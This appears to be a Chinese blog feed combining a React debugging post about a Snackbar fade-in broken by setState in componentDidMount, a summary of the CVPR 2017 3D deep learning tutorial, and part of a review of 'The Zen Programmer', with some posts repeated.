註解掉就沒事了,因此可以推斷問題應該是出在這邊。
接著我突然想起以前好像在官方文件中看過在 componentDidMount 裡面 setState 會有一些什麼事情發生,於是就去 Google componentDidMount setState
,找到了很多相關的範例。
為了確保沒找錯地方,我自己寫了一個簡單的 component,並且在 componentDidMount 裡面加上 this.setState
,再讓 Snackbar 去 render 它,果真重現出了一樣的問題,那就是 fade in 消失了。
程式碼會像是這樣:
class Comp extends React.Component {
componentDidMount() {
this.setState({
a: 1
});
}
render() {
return <div>hello</div>;
}
}
// render 的時候
<AutoHideSnackbar onClose={handleClose}>
<Comp />
</AutoHideSnackbar>
經歷過重重難關,問題的成因總算找到了,那就是在 componentDidMount 裡面 setState,會導致一些預期外的後果。
可是這預期外的後果到底是什麼呢?
只要用 componentdidmount setstate
這個很直白的關鍵字就可以找到許多資料,像是我以前也看過的:一些自己寫 React 的好習慣- lifecycle method 跟 state 管理,或是這次文章的主軸:官方文件。
文件裡面是這樣寫的:
You may call setState() immediately in componentDidMount(). It will trigger an extra rendering, but it will happen before the browser updates the screen. This guarantees that even though the render() will be called twice in this case, the user won’t see the intermediate state.
在 componentDidMount 裡面如果同步去呼叫 setState,會立刻觸發第二次 render,而且會在瀏覽器更新畫面之前,因此第一次 render 的結果使用者並不會看到,只會顯示第二次的。
這就能解釋為什麼我們的淡入功能會壞掉了。
先假設我們程式碼長這樣(CodeSandbox 範例):
class Comp extends React.Component {
componentDidMount() {
console.log("Comp componentDidMount");
this.setState({
a: 1
});
}
render() {
console.log("Comp render");
return <div>hello</div>;
}
}
export function Snackbar({ children, open }) {
console.log("Snackbar render:", { open });
return (
<div
style={{
background: "black",
color: "white",
transition: "all 0.3s",
opacity: open ? 1 : 0
}}
>
{children}
</div>
);
}
export function AutoHideSnackbar({ children, onClose }) {
const [open, setOpen] = useState(false);
console.log("AutoHideSnackbar render:", { open });
useEffect(() => {
console.log("AutoHideSnackbar useEffect");
setOpen(true);
const timer = setTimeout(() => {
setOpen(false);
}, duration);
const timer2 = setTimeout(() => {
onClose();
}, duration + transitionDuration);
return () => {
clearTimeout(timer);
clearTimeout(timer2);
};
}, [onClose]);
return <Snackbar open={open}>{children}</Snackbar>;
}
我們可以藉由觀察 log,來判斷出執行順序,而 log 的結果是這樣的:
可以看出總共有兩次 render,第一次的話是:
在第一次 render 的時候,Snackbar 的 open 是 false 所以 opacity 是 0,接著 render 它的 children 也就是 Comp,render 完成以後 Comp 的 componentDidMount 執行 setState,因為在這邊執行了,所以根據文件所說,使用者不會看到第一次 render 的結果。
而 Comp 的 didMount 以後,就往上執行 AutoHideSnackbar 的 useEffect,這邊會把 open 設成 true。
這邊值得注意的一點是 React 的官網中寫著:
The function passed to useEffect will run after the render is committed to the screen.
看起來「after the render is committed to the screen」這個行為大部分情況都是對的,useEffect 會在 browser 更新畫面之後才執行(render is committed to the screen
應該可以這樣理解吧?)。
但如果底下的元素有 class component 而且在 componentDidMount 裡面做了同步的 setState,就不會是這樣子了?不能確保執行 useEffect 的時候使用者已經看到上次 render 的畫面。
總之這邊執行完以後,就會執行第二次的 render:
第二次的 render 中 opacity 會是 1,而根據官方文件所說的,使用者不會看到第一次 render 的結果,所以畫面上第一次出現時 opacity 就是 1 了,淡入的效果自然也就不見了。
儘管理解了上面那個行為,我當初還是有一點想不透,那就是既然 componentDidMount 代表有把東西放到 DOM 上面了,使用者不就一定會看到嗎?那是怎麼做到「既 mount 卻又不讓使用者看到結果」的?
後來去了推特上面發問,感謝陳冠霖的回答,直接突破盲點:
DOM 的更新跟畫面的更新是兩回事,pixel pipeline 要等 js 全部跑完才會做渲染的動作,舉個例子就是你用個 for loop 跑很多次 DOM update 但是畫面只會畫最後的結果
看完之後我才想到,對欸,更新 DOM 跟更新畫面是兩回事,DOM 更新了不代表 browser 就會 paint,所以的確可以做到在一個 cycle 裡面更新兩次 DOM,這樣第一個的結果就不會顯示在畫面上,只會顯示第二次的。
其實在碰到這些 React 的問題前,我一直以為自己對 React 或是對於 DOM 的運作都有一定程度的認識,可是卻屢屢遭受打擊,發現自己還是遺漏了許多重要的部分,寫一寫都會有:「我居然對 React 這麼陌生嗎QQ」的感嘆。
不過也是沒有辦法的事,反正碰到了不會的就學起來,碰到的問題多了之後,也會知道更多的解決方法,就會對這些運作機制愈來愈了解了。
以上就是 I don't know React 的第一篇,當初花了一個早上的時間還跑去問同事,一開始一直糾結於是 static 的那種方式造成問題,整個走錯方向,直到某一刻突然開竅發現差別其實不是在那個,而是在 render 的東西不一樣。
Debug 一旦有正確抓到問題的成因,通常離找到解法就不遠了,也更能知道怎麼下關鍵字去搜尋。因為這次的經驗也提醒了我自己,debug 的時候記得把不相干的東西排除乾淨,才能真正確認問題的根源。
]]>這個標題致敬了有寫 JavaScript 的人就算沒看過也一定聽過的一系列書籍:Kyle Simpson 寫的 You Don't Know JS(中譯版翻成《你所不知道的 JS》),裡面講了許多很多人不知道的,有關於 JS 的東西。
而 I don't know React 是我對我自己的一系列紀錄,記錄了一些我所不知道的 React,而這些文章都是由我使用 React 的經驗總結而來。這一些我曾經碰到過的錯誤,有可能很基本很常見(官方文件上面就有寫的那種,只是我沒看清楚所以不知道),也有可能比較少見(我可能在工作上寫三四年才碰到)。
換句話說,寫這系列的精神跟 YDKJS 不一樣,前者是想告訴你一些 JS 當中比較少人知道的東西,是一種「我來教你寫 JS」的感覺,而我寫這系列之所以叫做「I don't konw」,是因為想用一系列的文章記錄自己寫 React 曾經有過的誤解或者是沒有注意到的地方,以及正確答案到底是什麼。
我也不知道這系列文會有幾篇,大概就是我每犯下一個就會來 po 個文。這系列有一個我覺得滿大的不同點,就是我會在文章開頭盡可能提供當時犯錯的場景重現,讓大家能有機會在看答案之前自己 debug,看看是否能找出錯誤在哪。我覺得這其實是最精華的部分,這不是什麼制式的面試考題,也不是從網路上隨便找來的 React 測驗,而是我在工作上碰到過的真實的狀況。
因為想要讓大家盡可能融入情境,也去思考我曾經碰過的問題,所以會有不少篇幅在於「定義以及重現問題」,如果你對自己尋找答案沒有興趣,也可以直接跳過這個部分去看解答。但我個人建議是自己先嘗試 debug,去發現問題在哪,才來看文章內的解答,才能完整地吸收文章想表達的東西。
總之呢,讓我們先來看看這一篇要講的案例吧!
這次要來 demo 的案例是 Snackbar 這個 component,就是會出現在螢幕下面提示使用者的一個小巧可愛的元件。而我們的任務很簡單,就是要寫出一個 Snackbar 然後讓它可以正常運作就行了,因為這邊重點不在 style,所以我 style 的部分會隨便寫一寫,只是示意而已。
我們可以先寫一個基本的雛形出來,利用 open
這個 props 決定透明度,然後可以接受 children
的傳入並且 render 出來:
function Snackbar({ children, open }) {
return (
<div
style={{
background: "black",
color: "white",
transition: "all 0.3s",
opacity: open ? 1 : 0
}}
>
{children}
</div>
);
}
當 open 是 true 的時候就會看得到內容,像是這樣:
那為什麼要這樣做呢?因為根據這個透明度的調整,我們可以自己寫另外一個會自動隱藏的 component,藉由 transition 來達成淡入以及淡出的效果:
const duration = 1000;
const transitionDuration = 300;
function AutoHideSnackbar({ children, onClose }) {
const [open, setOpen] = useState(false);
useEffect(() => {
setOpen(true);
const timer = setTimeout(() => {
setOpen(false);
}, duration);
const timer2 = setTimeout(() => {
onClose();
}, duration + transitionDuration);
return () => {
clearTimeout(timer);
clearTimeout(timer2);
};
}, [onClose]);
return <Snackbar open={open}>{children}</Snackbar>;
}
用的時候需要像這樣使用:
export default function App() {
const [open, setOpen] = useState(false);
const handleClick = () => setOpen(true);
const handleClose = () => setOpen(false);
return (
<div className="App">
<h1>Snackbar</h1>
<button onClick={handleClick}>show</button>
{open && (
<AutoHideSnackbar onClose={handleClose}>hello~</AutoHideSnackbar>
)}
</div>
);
}
當我們點擊按鈕的時候,會把這一層的 open 設定成 true,就會 render <AutoHideSnackbar>
這個 component,在 AutoHideSnackbar
裡面初始值的 open 是 false,所以會 render <Snackbar open={false}>hello</Snackbar>
,這時候 Snackbar 透明度就會是 0,處於一個看不見的狀態。
render 並且 mount 以後,執行 AutoHideSnackbar
裡面的 useEffect,把 open 設定成 true,這時候 Snackbar 的透明度就會改成 1,因為從 0 變成 1 再加上有 transition,就達成 fade in 的效果,並且設定兩個 timer 來處理自動關閉。
1 秒過後第一個 timer 觸發,把 open 設成 false,再度觸發 transition,有了 fade out 的效果。transition 結束以後第二個 timer 觸發,呼叫 onClose,然後呼叫到了 App 的 handleClose,把 App 那一層的 open 也設定為 false,於是 AutoHideSnackbar
就 unmount 了,恢復成原始的樣子。
做到這邊,一個會自動隱藏的 Snackbar 就誕生了,但其實還有地方可以再加強。
之前在使用 Ant Design 的時候有個用法深深地影響了我,那就是用 function call 的方式去 render component,而不是用 render 的。例如說你想顯示一個訊息,你可以直接這樣子做:
import { message } from 'antd'
export default function App() {
const handleClick = () => {
message.info("hello~")
}
return (
<div>
<button onClick={handleClick}>顯示訊息</button>
</div>
)
}
而不是這樣子(antd 沒有這種用法,只是示範而已):
import { Message } from 'antd'
export default function App() {
const [open, setOpen] = useState(false)
const handleClick = () => {
setOpen(true)
}
const handleClose = () => {
setOpen(false)
}
return (
<div>
<button onClick={handleClick}>顯示訊息</button>
<Message open={open} onClose={handleClose}>
hello~
</Message>
</div>
);
}
可以看出前者的用法比後者簡潔很多,因為後者必須要自己管理 component 開啟或是關閉的狀況,但前者完全不管這些。雖然說是比較方便沒錯,可是我會說前者「沒有那麼 React」,因為 React 的精神本來就是以 state 為核心,UI 只是 state 的副產物,所以開啟或是關閉的狀況,應該要存在於 state 裡面才對。
但儘管如此,我依然會傾向前者的用法,因為當我們在顯示訊息時,我們其實並不關心他是開啟還是關閉,我們不想知道這件事情,我們唯一想做的只有「顯示訊息」,所以這時候如果像 alert
或是 confirm
那樣只需要一個 function call,事情會簡單很多。
所以接著我們就來參考 Ant Design 的原始碼,讓我們的 Snackbar 也擁有這種 static method,可以更方便地顯示訊息。
程式碼會是這樣的:
Snackbar.show = function (children) {
const div = document.createElement("div");
document.body.appendChild(div);
ReactDOM.render(
<AutoHideSnackbar
onClose={() => {
const unmountResult = ReactDOM.unmountComponentAtNode(div);
if (unmountResult && div.parentNode) {
div.parentNode.removeChild(div);
}
}}
>
{children}
</AutoHideSnackbar>,
div
);
};
其實就是在呼叫 function 時動態產生一個 div,然後直接使用 ReactDOM.render
把 AutoHideSnackbar render 上去,自動消失時再把 div 拿掉。透過這樣子的方式,就可以脫離原本的 React App,新建一個 React App 去 render Snackbar。
而且因為我們接收的參數 children 沒有限制,所以要顯示圖片也是可以的,像是這樣:
import React from "react";
import { Snackbar } from "./Snackbar";
import styled from "styled-components";
import warningSvg from "./icon.svg";
import SVG from "react-inlinesvg";
const Warning = styled(SVG).attrs({
src: warningSvg
})`
width: 24px;
height: 24px;
`;
export default function App() {
const showSnackbar = () => {
Snackbar.show(
<div>
hey! <Warning />
</div>
);
};
return (
<div className="App">
<h1>Snackbar</h1>
<p>靜態方式顯示 snackbar</p>
<button onClick={showSnackbar}>顯示</button>
</div>
);
}
顯示的結果:
好,這一切的一切看起來都十分完美,現在我們終於可以用一個簡單的 function call 就顯示出東西了,再也不用去維護那些麻煩的狀態...
直到你擦亮眼睛一看,發現了一件奇怪的事情,那就是你的 Snackbar 在使用 static method 那個方法的時候,fade in 居然消失了!你仔細看上面的 gif,就可以看出只有 fade out 的效果,沒有 fade in。
這就是我之前碰過的一個 bug,也就是這一篇的主角。
底下是可以完整重現這個 bug 以及上面所做的 component 的 CodeSandbox,推薦大家可以自己 fork 回去改改看,看能不能找出 bug 在哪裡,以及 root cause 到底是什麼,訓練一下自己 debug 的能力。
CodeSandbox: https://codesandbox.io/s/snackbar-debug-test-kw7iv?file=/src/App.js
接著提醒一件事情,上面的程式碼是真的會有 bug,至於我上面所說的一些有關於成因的判斷,不一定是正確的。這是我當初剛碰到這個 bug 時的第一判斷,有可能正確也有可能錯誤,現在你手中有可以完整重現問題的程式碼了,可以自己利用各種方式找出問題到底在哪裡。
底下我會先回憶一次自己當初是如何 debug 的,講完以後會開始講答案是什麼,如果想自己 debug 的人請勿往下繼續看,會被雷到。
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
防雷分隔線~
既然問題是出在 static method 那個用法,那我想說就朝這方向去研究好了。我做的第一件事情很簡單,就是先把每個 component 的 render 跟 useEffect 都加上 console.log
,根據 log 出來的東西跟自己的想法對照,看看有沒有執行順序上跟我認知中不同的地方。
經過一段時間的嘗試,發現好像沒有什麼差別,不管用哪一個方法,都跟我認識的執行流程一樣。第一次 render AutoHideSnackbar
的時候 open 一定是 0,所以一開始一定是看不到的,接著 useEffect 完下一次 render 會變成 1,所以透明度會變成 1,因此會有個 fade in 的效果。
但最終會看到這樣的結果,fade in 的 transition 消失了,就代表出現在畫面上的時候,open 應該就是 1 了,否則不會看到這樣的結果。
debug 一陣子沒什麼頭緒之後,我開始懷疑起是不是因為某些非同步或是 React 的渲染機制,導致第一次 render 時 open 就是 true,所以我加了個 rAF,讓 open 屬性 delay 一下才變成 true:
export function AutoHideSnackbar({ children, onClose }) {
const [open, setOpen] = useState(false);
useEffect(() => {
// 原本是直接 setOpen(true),我包了 rAF 在外面
window.requestAnimationFrame(() => setOpen(true));
const timer = setTimeout(() => {
setOpen(false);
}, duration);
const timer2 = setTimeout(() => {
onClose();
}, duration + transitionDuration);
return () => {
clearTimeout(timer);
clearTimeout(timer2);
};
}, [onClose]);
return <Snackbar open={open}>{children}</Snackbar>;
}
加了之後發現就沒問題了,可以成功看到 fade in 的效果。不過儘管如此,我還是不知道原本為什麼會這樣。
接著我重新再測試了一遍,發現一件很嚴重的事情!
我並沒有把實驗的變因處理好,我一直以為是我用那個比較 tricky 的方法導致這個問題,所以一直往這個方向去找答案,去看 static method 到底跟一般的 render 有什麼不同,卻忽略了我上面的範例中,一般的 render 跟 static 的 render,還有一個變因不同,那就是「有沒有 render SVG」,我把 staic method 範例中的 SVG 拿掉,發現居然有 fade in 的效果了!
哇操,我前面花了兩三個小時都是在做白工找錯方向,而是還是因為自己漏看,沒有定義好問題範圍所導致的。知道這一點之後,進度就快多了。
我先把 react-inlinesvg
這套件換成普通的 img,發現一樣可以正常運作,而原本一般的 render 方式,加上了 react-inlinesvg
淡入效果也會消失。因此原因差不多可以確定了,就是 react-inlinesvg
這個 library 造成的。
但到底是為什麼呢?我去看了一下它的原始碼,看不到什麼可疑的東西。在沒有其他方法的情況之下,我用了最暴力但是也最有效的一招:「改 node_modules 裡面的程式碼」。這其實就跟我慣用的 debug 方式一樣,當你束手無策,完全不知道問題出在哪的時候,就開始刪 code。
刪掉一段發現問題還在,就代表那段 code 不是兇手。刪掉了某段 code 問題就不見之後,你就知道一定跟那段 code 有關了,有點像是對程式碼進行二分搜的感覺。如果熟悉執行流程的話做起來其實還滿快的,就一直刪 code 就好了。不過對 third party 做這件事麻煩的點在於你必須直接去改 node_modules 裡面的程式碼,那些程式碼都是經過 bable transpiled 過後的,可讀性會比較低,不過還是能看懂就是了。
經過這一段刪刪改改之後,我終於發現了出問題的地方,在這裡:https://github.com/gilbarbara/react-inlinesvg/blob/v2.1.1/src/index.tsx#L209
SVG 這個 component 在 componentDidMount 的時候會去呼叫 this.load()
,而 this.load
裡面會去呼叫 this.setState()
,經過我幾次測試之後發現把 this.setState()
註解掉就沒事了,因此可以推斷問題應該是出在這邊。
接著我突然想起以前好像在官方文件中看過在 componentDidMount 裡面 setState 會有一些什麼事情發生,於是就去 Google componentDidMount setState
,找到了很多相關的範例。
為了確保沒找錯地方,我自己寫了一個簡單的 component,並且在 componentDidMount 裡面加上 this.setState
,再讓 Snackbar 去 render 它,果真重現出了一樣的問題,那就是 fade in 消失了。
程式碼會像是這樣:
class Comp extends React.Component {
componentDidMount() {
this.setState({
a: 1
});
}
render() {
return <div>hello</div>;
}
}
// render 的時候
<AutoHideSnackbar onClose={handleClose}>
<Comp />
</AutoHideSnackbar>
經歷過重重難關,問題的成因總算找到了,那就是在 componentDidMount 裡面 setState,會導致一些預期外的後果。
可是這預期外的後果到底是什麼呢?
只要用 componentdidmount setstate
這個很直白的關鍵字就可以找到許多資料,像是我以前也看過的:一些自己寫 React 的好習慣- lifecycle method 跟 state 管理,或是這次文章的主軸:官方文件。
文件裡面是這樣寫的:
You may call setState() immediately in componentDidMount(). It will trigger an extra rendering, but it will happen before the browser updates the screen. This guarantees that even though the render() will be called twice in this case, the user won’t see the intermediate state.
在 componentDidMount 裡面如果同步去呼叫 setState,會立刻觸發第二次 render,而且會在瀏覽器更新畫面之前,因此第一次 render 的結果使用者並不會看到,只會顯示第二次的。
這就能解釋為什麼我們的淡入功能會壞掉了。
先假設我們程式碼長這樣(CodeSandbox 範例):
class Comp extends React.Component {
componentDidMount() {
console.log("Comp componentDidMount");
this.setState({
a: 1
});
}
render() {
console.log("Comp render");
return <div>hello</div>;
}
}
export function Snackbar({ children, open }) {
console.log("Snackbar render:", { open });
return (
<div
style={{
background: "black",
color: "white",
transition: "all 0.3s",
opacity: open ? 1 : 0
}}
>
{children}
</div>
);
}
export function AutoHideSnackbar({ children, onClose }) {
const [open, setOpen] = useState(false);
console.log("AutoHideSnackbar render:", { open });
useEffect(() => {
console.log("AutoHideSnackbar useEffect");
setOpen(true);
const timer = setTimeout(() => {
setOpen(false);
}, duration);
const timer2 = setTimeout(() => {
onClose();
}, duration + transitionDuration);
return () => {
clearTimeout(timer);
clearTimeout(timer2);
};
}, [onClose]);
return <Snackbar open={open}>{children}</Snackbar>;
}
我們可以藉由觀察 log,來判斷出執行順序,而 log 的結果是這樣的:
可以看出總共有兩次 render,第一次的話是:
在第一次 render 的時候,Snackbar 的 open 是 false 所以 opacity 是 0,接著 render 它的 children 也就是 Comp,render 完成以後 Comp 的 componentDidMount 執行 setState,因為在這邊執行了,所以根據文件所說,使用者不會看到第一次 render 的結果。
而 Comp 的 didMount 以後,就往上執行 AutoHideSnackbar 的 useEffect,這邊會把 open 設成 true。
這邊值得注意的一點是 React 的官網中寫著:
The function passed to useEffect will run after the render is committed to the screen.
看起來「after the render is committed to the screen」這個行為大部分情況都是對的,useEffect 會在 browser 更新畫面之後才執行(render is committed to the screen
應該可以這樣理解吧?)。
但如果底下的元素有 class component 而且在 componentDidMount 裡面做了同步的 setState,就不會是這樣子了?不能確保執行 useEffect 的時候使用者已經看到上次 render 的畫面。
總之這邊執行完以後,就會執行第二次的 render:
第二次的 render 中 opacity 會是 1,而根據官方文件所說的,使用者不會看到第一次 render 的結果,所以畫面上第一次出現時 opacity 就是 1 了,淡入的效果自然也就不見了。
儘管理解了上面那個行為,我當初還是有一點想不透,那就是既然 componentDidMount 代表有把東西放到 DOM 上面了,使用者不就一定會看到嗎?那是怎麼做到「既 mount 卻又不讓使用者看到結果」的?
後來去了推特上面發問,感謝陳冠霖的回答,直接突破盲點:
DOM 的更新跟畫面的更新是兩回事,pixel pipeline 要等 js 全部跑完才會做渲染的動作,舉個例子就是你用個 for loop 跑很多次 DOM update 但是畫面只會畫最後的結果
看完之後我才想到,對欸,更新 DOM 跟更新畫面是兩回事,DOM 更新了不代表 browser 就會 paint,所以的確可以做到在一個 cycle 裡面更新兩次 DOM,這樣第一個的結果就不會顯示在畫面上,只會顯示第二次的。
其實在碰到這些 React 的問題前,我一直以為自己對 React 或是對於 DOM 的運作都有一定程度的認識,可是卻屢屢遭受打擊,發現自己還是遺漏了許多重要的部分,寫一寫都會有:「我居然對 React 這麼陌生嗎QQ」的感嘆。
不過也是沒有辦法的事,反正碰到了不會的就學起來,碰到的問題多了之後,也會知道更多的解決方法,就會對這些運作機制愈來愈了解了。
以上就是 I don't know React 的第一篇,當初花了一個早上的時間還跑去問同事,一開始一直糾結於是 static 的那種方式造成問題,整個走錯方向,直到某一刻突然開竅發現差別其實不是在那個,而是在 render 的東西不一樣。
Debug 一旦有正確抓到問題的成因,通常離找到解法就不遠了,也更能知道怎麼下關鍵字去搜尋。因為這次的經驗也提醒了我自己,debug 的時候記得把不相干的東西排除乾淨,才能真正確認問題的根源。
]]>3D Deep Learning 的應用很廣泛,相關的研究也越來越多,要追上這些研究不是一朝一夕就能做到,但只要持之以恆,也能跟上,今天要透過 CVPR 2017 的 3D Deep Learning tutorial 影片來入門,因為整個 tutorial 長達三個小時,所以我把文章切成三份,今天是第一份 - 如何對具有 regular structure 的 3D data 做 deep learning。
這是 CVPR 2017 3D Deep Learning tutorial 的影片,想深入看完的讀者可以參考:
首先,我們知道 3D data 現在的應用很廣泛,尤其在蓬勃發展的自駕車和 AR/VR 領域:
再加上近年來 Deep Leanrning 正夯,這也就促成了 3D Deep Learning 的相關研究。
3D DL 研究問題可以大致分成三類:
3D data 跟 2D image 的一個重要不同之處在於,3D data 有很多種 representation 的方法,所以在研究 3D DL 問題時,多了一個自由度(如果你是 researcher,今天想要辨識一個 3D data 是什麼物體,你會選什麼表示法來達到最好的 accuracy 呢?):
如果要分類的話,大致又有兩類:
所以就產生了很豐富的各種研究:
如果是 rasterized form(有固定的結構),就可以做,不過會有其他挑戰,之後會說明:
如果是 irregular form,那當然就沒辦法:
Multi-view representation 的基本想法有點像反向的 structure from motion,用很多張 2D image 儲存 3D 資訊:
首先,讓我們來看看 classification 問題吧。
這個部分要介紹的研究是 Multi-view CNN,基本概念是,我們可以把一個 3D model 從很多個角度各拍一張照,利用這多張影像中來產生一個 feature vector,再用一個 softmax 層得到各種 class 的機率:
要怎麼產生 feature vector 呢?最直覺的做法當然就是 CNN,而 MVCNN 就分別讓 12 張影像都各自通過一個 CNN:
看到這邊可能會有一個問題,這個方法能做到 orientation-invariant 嗎?他們的做法是讓 CNN_1 的每個 branch 都 share 同樣的 parameters,讓 CNN 自己想辦法學到 orientation-invariant 的 feature。
MVCNN 在當時也算是 state-of-the-art 的方法:
接下來要討論的問題是 part segmentation,這個問題的目的是要把物體中的各組成部分切出來:
有一種做法跟 MVCNN 的概念很像,就是從很多不同的角度去拍 3D Shape,然後分別通過各自的 FCN,投影到同樣的 surface,之後再切出各個 part:
其中 FCN 的架構是長這樣:
這個方法有一些缺點,像太多張圖會有 redundancy、slow to train 等等:
下圖中的 3DShapeNet 跟 VoxNet 都是 3DCNN 的方法:
以下圖來說,最右邊的 voxel grids 有最高的 resolution,但其中只有 2.41% 的 grid 有 data:
你想想看如果你做 3D CNN,但有一堆 weight 接到的 input data 是空的,那這樣是不是很難 train?
所以有研究者想到可以用 octree 來儲存 input,藉此解決資料太 sparse 的問題:
似乎還有很多深入的細節可以探討,如果你有興趣可以去看看 paper。
今天帶大家從很基礎的地方入門了 3D Deep Learning,上面的總結算是很簡短,如果你對詳細內容有興趣,可以再去看看影片、甚至是上面提到的 paper。
之後會再 po 出第二和第三部分,要注意的一點是,上面提到的觀念是在 2017 年的研究小結,也許三年後的現在已經有些結論不同了,不過能夠從 2017 年一路追到最新的研究,才比較容易有整體觀,也容易了解各個方法的演進跟優缺點變化,對於以後自己要開發新的演算法也更有幫助。
等到三個部分分享完後,未來有機會也想深入分享更多厲害的研究,例如 PointPillars、PointFusion 、Voxel-FPN 等等,3D DL 讚讚讚,stay tuned,我們下次見!
3D Deep Learning 的應用很廣泛,相關的研究也越來越多,要追上這些研究不是一朝一夕就能做到,但只要持之以恆,也能跟上,今天要透過 CVPR 2017 的 3D Deep Learning tutorial 影片來入門,因為整個 tutorial 長達三個小時,所以我把文章切成三份,今天是第一份 - 如何對具有 regular structure 的 3D data 做 deep learning。
這是 CVPR 2017 3D Deep Learning tutorial 的影片,想深入看完的讀者可以參考:
首先,我們知道 3D data 現在的應用很廣泛,尤其在蓬勃發展的自駕車和 AR/VR 領域:
再加上近年來 Deep Leanrning 正夯,這也就促成了 3D Deep Learning 的相關研究。
3D DL 研究問題可以大致分成三類:
3D data 跟 2D image 的一個重要不同之處在於,3D data 有很多種 representation 的方法,所以在研究 3D DL 問題時,多了一個自由度(如果你是 researcher,今天想要辨識一個 3D data 是什麼物體,你會選什麼表示法來達到最好的 accuracy 呢?):
如果要分類的話,大致又有兩類:
所以就產生了很豐富的各種研究:
如果是 rasterized form(有固定的結構),就可以做,不過會有其他挑戰,之後會說明:
如果是 irregular form,那當然就沒辦法:
Multi-view representation 的基本想法有點像反向的 structure from motion,用很多張 2D image 儲存 3D 資訊:
首先,讓我們來看看 classification 問題吧。
這個部分要介紹的研究是 Multi-view CNN,基本概念是,我們可以把一個 3D model 從很多個角度各拍一張照,利用這多張影像中來產生一個 feature vector,再用一個 softmax 層得到各種 class 的機率:
要怎麼產生 feature vector 呢?最直覺的做法當然就是 CNN,而 MVCNN 就分別讓 12 張影像都各自通過一個 CNN:
看到這邊可能會有一個問題,這個方法能做到 orientation-invariant 嗎?他們的做法是讓 CNN_1 的每個 branch 都 share 同樣的 parameters,讓 CNN 自己想辦法學到 orientation-invariant 的 feature。
MVCNN 在當時也算是 state-of-the-art 的方法:
接下來要討論的問題是 part segmentation,這個問題的目的是要把物體中的各組成部分切出來:
有一種做法跟 MVCNN 的概念很像,就是從很多不同的角度去拍 3D Shape,然後分別通過各自的 FCN,投影到同樣的 surface,之後再切出各個 part:
其中 FCN 的架構是長這樣:
這個方法有一些缺點,像太多張圖會有 redundancy、slow to train 等等:
下圖中的 3DShapeNet 跟 VoxNet 都是 3DCNN 的方法:
以下圖來說,最右邊的 voxel grids 有最高的 resolution,但其中只有 2.41% 的 grid 有 data:
你想想看如果你做 3D CNN,但有一堆 weight 接到的 input data 是空的,那這樣是不是很難 train?
所以有研究者想到可以用 octree 來儲存 input,藉此解決資料太 sparse 的問題:
似乎還有很多深入的細節可以探討,如果你有興趣可以去看看 paper。
今天帶大家從很基礎的地方入門了 3D Deep Learning,上面的總結算是很簡短,如果你對詳細內容有興趣,可以再去看看影片、甚至是上面提到的 paper。
之後會再 po 出第二和第三部分,要注意的一點是,上面提到的觀念是在 2017 年的研究小結,也許三年後的現在已經有些結論不同了,不過能夠從 2017 年一路追到最新的研究,才比較容易有整體觀,也容易了解各個方法的演進跟優缺點變化,對於以後自己要開發新的演算法也更有幫助。
等到三個部分分享完後,未來有機會也想深入分享更多厲害的研究,例如 PointPillars、PointFusion 、Voxel-FPN 等等,3D DL 讚讚讚,stay tuned,我們下次見!
之前因緣際會閱讀了 The Zen Programmer 程式設計之禪 這本書,光看書名很可能會認為書中主要討論是宗教靈性相關議題,但其實主要的篇幅還是討論如何將一些禪修相關的概念融入在工作生活當中。先說明一下,書中內容其實偏向身心靈和習慣養成的層面,不會提到有關程式設計相關技術或是軟體開發的方法論,可以當作輕鬆的散文或是小品文來閱讀,擷取合適的部分運用在工作生活當中。本文將摘錄一些書中提到的觀念並結合筆者工作生活上的經驗一起分享給讀者,若有興趣的讀者可以一起交流討論或是更深入去閱讀相關書籍。
書中作者開宗明義就介紹了為何自己會開始學習禪學?主要原因在於自己在工作、生活和健康上遇到極大的挑戰。在生活上不斷上演:不斷工作 -> 無止盡的加班(可能是需求變更、專案管理不當等) -> 大魚大肉、喝酒、通宵玩樂放鬆犒賞自己 -> 不斷工作 -> 無止盡的加班 的迴圈循環(對於某些工時和工作壓力大的讀者來說這樣的場景或許有些熟悉)
。在這樣的循環中感覺人生就像是行屍走肉一般,最後健康也出了狀況。直到有一天因緣際會開始嘗試改變並認真看待如何透過學習禪學來改變自己的人生。
那究竟為什麼要學習禪修程式設計呢?作者認為學習禪修程式設計可以有助於提升工作和生活品質。透過冥想禪修打坐等方式搭配良好的工作習慣磨練專注度和平靜心性。千萬記得程式開發背後是透過人來進行,人的狀態往往會影響程式設計品質良窳,人在憤怒、情緒不穩定和極度高壓力下往往寫出的程式品質會有許多問題。
看看以下的例子:
Joe 是一個軟體工程師,當他開完每天早上的例行 Scrum 站立會議後回到座位上,開啟 Email 回覆了幾封信件,突然間隔壁座位 PM 的電話響起,由於同事剛好不在只好幫忙代接電話。接完電話開始著手修復剛剛 PR 產生的 bug,剛開始閱讀一下 API 文件,朋友 Mark 分享一則有趣的新聞,點擊進去看後看著看著又瀏覽到 Twitter 上的一些新訊息。突然想到不知不覺下一個會議即將到來。等開完會後再回到辦公桌前,Joe 努力喘口氣但卻已經記不得剛剛做的事情和工作的思路。
看到這裡或許也會有讀者感到心有戚戚焉,一天工作時間往往在回覆 Email、處理私人或家庭瑣事、無止盡的會議、零食區/茶水間的同事八卦閒聊中流逝,實際可以專注在技術開發的時間可能不到 3、4 小時。所以有許多工程師/程式設計師偏好在深夜工作,某種程度就是因為深夜的干擾會比白來來的少,工作起來更有效率。
除了冥想禪修打坐等方式,我們也可以透過建立一些良好的工作習慣來保護自己的時間,提高工作效率。
除了舉了許多工作生活的案例和將禪修運用在提高工作效率的小技巧外,作者最後也彙整了程式設計師的十條禪修法則(與其說是法則,不如說是人生累積的一種智慧)可以讓讀者運用在程式設計師的職涯發展和日常工作上,以下筆者擷取書中一些概念並加入自己的一些工作生活經驗和體悟與讀者分享。
一心一用,該工作時就努力投入,該休息時就好好休息,多工處理往往會事倍功半。
適度的使用社交軟體雖然有趣,但若在工作時一直想著其他人的動態或是訊息往往會讓自己無法專注在工作上。
還記得剛學習不同技術時的好奇心和熱情嗎?隨著經驗的累積和人生不同責任的堆疊,許多程式設計師/軟體工程師已經失去了探索新事物和新技術的熱情。不管你的經驗或是年資得多寡,請持續保持初心者的心態,世界很大,在資訊科技的職涯中永保謙遜和對於新事物的熱情才能走的長遠。
有些程式設計師/軟體工程師在工作上若有一定經驗時,有時可能會變得過度堅持自己對於技術的想法或是意見。世界上沒有最好的程式語言或是工具,只有最適合的。保持無我的心態才能在進行技術評估選擇或是會議討論時提出中性且對於團隊最好的建議。
